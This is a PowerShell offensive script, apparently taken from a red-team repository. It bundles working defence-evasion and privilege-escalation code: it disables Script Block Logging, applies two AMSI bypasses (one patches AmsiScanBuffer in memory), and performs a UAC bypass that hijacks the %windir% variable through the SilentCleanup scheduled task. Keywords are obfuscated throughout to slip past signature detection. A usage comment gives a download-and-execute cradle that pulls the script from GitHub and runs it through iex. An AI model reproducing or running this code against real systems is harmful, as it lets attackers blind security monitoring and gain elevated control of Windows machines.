/
Invoke-Bypass.ps1
200 lines (174 loc) · 6.89 KB
/
Invoke-Bypass.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
$id = random
iex @"
function Invoke-Bypass-$id-ScriptBlockLog {
# cobbr's Script Block Logging bypass
`$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If(`$GPF){
`$GPC=`$GPF.GetValue(`$null);
If(`$GPC['ScriptB'+'lockLogging']){
`$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
`$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
}
`$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
`$val.Add('EnableScriptB'+'lockLogging',0);
`$val.Add('EnableScriptB'+'lockInvocationLogging',0);
`$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=`$val
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue(`$null,(New-Object Collections.Generic.HashSet[string]))
}
}
"@;
iex @"
function Invoke-Bypass-$id-AMSI {
# @mattifestation's AMSI bypass
`$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
`$Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue(`$null,`$true);
}
"@;
iex @"
function Invoke-Bypass-$id-AMSI2 {
# rastamouse's AMSI bypass (Add-Type writes *.cs on disk!!)
`$Ref = (
"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
);
`$Source = @"
using System;
using System.Runtime.InteropServices;
namespace Bypass$id
{
public class AMSI$id
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
string hexbuffer = "41 6d 73 69 53 63 61 6e 42 75 66 66 65 72";
string buffer="";
string[] hexbuffersplit = hexbuffer.Split(' ');
foreach (String hex in hexbuffersplit)
{
int value = Convert.ToInt32(hex, 16);
buffer+= Char.ConvertFromUtf32(value);
}
IntPtr Address = GetProcAddress(LoadLibrary("a"+ "msi"+ ".dl" +"l"), buffer);
UIntPtr size = (UIntPtr)5;
uint p = 0;
VirtualProtect(Address, size, 0x40, out p);
byte c1=0xB8,c2=0x80;
Byte[] Patch = {c1, 0x57, 0x00, 0x07, c2, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(Address, unmanagedPointer, 6);
return 0;
}
}
}
`"@;
Add-Type -ReferencedAssemblies `$Ref -TypeDefinition `$Source -Language CSharp;
iex "[Bypass$id.AMSI$id]::Disable() | Out-Null"
}
"@;
iex @"
function Invoke-Bypass-$id-UACSilentCleanup {
# (Add-Type writes *.cs on disk!!)
# https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html
Param(
[Parameter(Mandatory=`$True,HelpMessage="Enter command to execute.")]
`$Command
)
`$Source = @"
using System;
using Microsoft.Win32;
using System.Diagnostics;
namespace UACBypass
{
public class SilentCleanup$id
{
public static void exec(string payload)
{
// Payload to be executed
Console.WriteLine("[+] Starting Bypass UAC.");
try
{
// Registry Key Modification
RegistryKey key;
key = Registry.CurrentUser.CreateSubKey(@"Environment");
key.SetValue("windir", "cmd.exe /c " + payload + " & ", RegistryValueKind.String);
key.Close();
Console.WriteLine("[+] Enviroment Variabled %windir% Created.");
}
catch
{
Console.WriteLine("[-] Unable to Create the Enviroment Variabled %windir%.");
Console.WriteLine("[-] Exit.");
}
//Wait 5 sec before execution
Console.WriteLine("[+] Waiting 5 seconds before execution.");
System.Threading.Thread.Sleep(5000);
// Trigger the UAC Bypass
try
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = false;
startInfo.FileName = "schtasks.exe";
startInfo.Arguments = @"/Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I";
Process.Start(startInfo);
Console.WriteLine("[+] UAC Bypass Application Executed.");
}
catch
{
Console.WriteLine("[-] Unable to Execute the Application schtasks.exe to perform the bypass.");
}
//Clean Registry
DeleteKey();
Console.WriteLine("[-] Exit.");
}
static void DeleteKey()
{
//Wait 5 sec before cleaning
Console.WriteLine("[+] Registry Cleaning will start in 5 seconds.");
System.Threading.Thread.Sleep(5000);
try
{
var rkey = Registry.CurrentUser.OpenSubKey(@"Environment", true);
// Validate if the Key Exist
if (rkey != null)
{
try
{
rkey.DeleteValue("windir");
rkey.Close();
}
catch (Exception err)
{
Console.WriteLine(@"[-] Unable to Delete the Registry key (Environment). Error " + err.Message);
}
}
Console.WriteLine("[+] Registry Cleaned.");
}
catch
{
Console.WriteLine("[-] Unable to Clean the Registry.");
}
}
}
}
`"@;
Add-Type -TypeDefinition `$Source -Language CSharp;
iex "[UACBypass.SilentCleanup$id]::exec(```$Command) | Out-Null"
}
"@;
# Usage
# $browser = New-Object System.Net.WebClient; $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; iex($browser.downloadstring("https://raw.githubusercontent.com/d0nkeys/redteam/master/code-execution/Invoke"+"-"+"Bypass.ps1"));
# iex "$(Get-Command 'Invoke-Bypass-*-AMSI')"
# iex "$(Get-Command 'Invoke-Bypass-*-AMSI2')"
# iex "$(Get-Command 'Invoke-Bypass-*-ScriptBlockLog')"
# iex "$(Get-Command 'Invoke-Bypass-*-UACSilentCleanup') -Command cmd.exe"